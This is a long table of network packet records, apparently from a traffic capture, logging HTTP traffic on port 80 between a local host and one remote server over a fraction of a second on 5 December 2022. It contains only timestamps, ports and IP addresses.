Dec 5, 2022 06:44:31.114042997 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.114087105 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.114099026 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.114129066 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.114367962 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.114413977 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.115514040 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.115560055 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.115603924 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.115612030 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.115645885 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.115689039 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.115694046 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.116008043 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.116055012 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.116059065 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.116100073 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.116100073 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.116142035 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.116183996 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.116199970 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.117038012 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.124008894 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.124066114 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.124102116 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.124103069 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.124155045 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.126908064 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.126979113 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.127067089 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.127072096 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.127106905 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.127151966 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.133934975 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.133996010 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.134040117 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.134057045 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.134083986 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.134124994 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.134126902 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.134171009 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.134215117 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.134221077 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.134259939 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.134303093 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.134305000 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.134465933 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.134531021 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.134535074 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.134587049 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.134629011 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.134629011 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.134676933 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.134723902 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.134742022 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.134807110 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.134854078 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.134857893 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.134924889 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.134999990 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.135377884 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.135421038 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.135464907 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.135464907 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.135507107 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.135545969 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.135550022 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.135591984 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.135631084 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.135632992 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.135674953 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.135720015 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.136298895 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.136343002 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.136384010 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.136399984 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.136425972 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.136471033 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.136470079 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.136511087 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.136554003 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.136554956 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.136595011 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.136636972 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.137271881 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.137317896 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.137399912 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.137407064 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.137442112 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.137484074 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.137487888 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.137526035 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.137567043 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.137574911 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.137617111 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.137658119 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.137660027 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.140961885 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.141012907 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.141012907 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.141055107 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.141097069 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.141098022 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.143970013 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.144028902 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.144043922 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.144135952 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.144172907 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.144186974 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.151206970 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.151273012 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.151283026 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.151316881 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.151356936 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.151380062 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.151804924 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.151853085 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.151865959 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.151902914 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.151953936 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.151957989 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.152026892 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.152076006 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.152097940 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.152147055 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.152194977 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.152196884 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.152235985 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.152277946 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.152285099 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.152321100 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.152362108 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.152368069 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.152404070 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.152445078 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.152451992 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.152504921 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.152554989 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.153033018 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.153101921 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.153156996 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.153161049 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.153207064 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.153258085 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.153278112 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.153343916 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.153402090 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.153414965 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.153491974 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.153544903 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.153942108 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.153995991 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.154036999 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.154048920 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.154078960 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.154120922 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.154124022 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.154161930 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.154202938 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.154207945 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.154243946 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.154288054 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.154863119 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.154963970 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.155009031 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.155013084 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.155050039 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.155095100 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.155096054 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.155134916 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.155175924 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.155177116 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.155217886 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.155257940 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.155258894 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.155894041 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.155940056 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.155951023 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.155987024 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.156028986 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.156034946 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.156070948 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.156111956 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.156120062 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.156153917 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.156197071 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.156198978 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.156785965 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.156831980 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.156843901 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.156873941 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.156917095 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.156919003 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.156958103 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.156997919 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.157004118 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.157043934 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.157088041 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.157088995 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.157711983 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.157776117 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.157795906 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.157850027 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.157895088 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.157896996 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.157936096 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.157977104 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.157979965 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.158020020 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.158063889 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.158066034 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.158107042 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.158149004 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.158735037 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.158781052 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.158823967 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.158828974 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.158866882 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.158920050 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.158932924 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.159018040 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.159060955 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.159081936 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.159102917 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.159153938 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.159667015 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.159713984 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.159755945 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.159761906 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.159796953 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.159840107 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.159853935 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.159882069 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.159924030 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.159931898 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.159965992 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.160021067 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.160542965 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.160648108 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.160692930 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.160696983 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.160736084 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.160774946 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.160777092 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.160820007 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.160861015 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.160861969 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.160902977 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.160944939 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.160947084 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.161554098 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.161588907 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.161608934 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.161617994 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.161645889 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.161663055 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.161672115 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.161699057 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.161715031 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.161725998 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.161753893 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.161777973 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.162446022 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.162475109 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.162501097 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.162516117 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.162527084 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.162554026 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.162579060 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.162583113 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.162595987 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.162611961 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.162637949 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.162674904 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.163431883 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.163460970 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.163490057 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.163490057 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.163517952 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.163537025 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.163544893 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.163573027 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.163589001 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.163599968 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.163626909 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.163644075 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.163652897 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.163700104 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.164439917 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.164467096 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.164491892 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.164518118 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.164525032 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.164544106 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.164561033 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.164576054 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.164603949 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.164619923 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.164632082 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.164674997 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.165345907 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.165374041 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.165400982 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.165426016 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.165426970 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.165455103 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.165482044 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.165482998 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.165507078 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.165529013 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.165534019 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.165584087 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.168191910 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.168220997 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.168246984 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.168273926 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.168286085 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.168297052 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.168324947 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.169473886 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.169502020 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.169527054 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.169529915 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.169558048 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.169576883 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.169583082 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.169610023 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.169622898 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.169636011 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.169661045 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.169677019 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.169816017 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.169843912 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.169862032 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.169871092 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.169898987 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.169933081 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.169938087 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.169960022 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.169975042 CET	49703	80	192.168.2.3	66.235.200.147
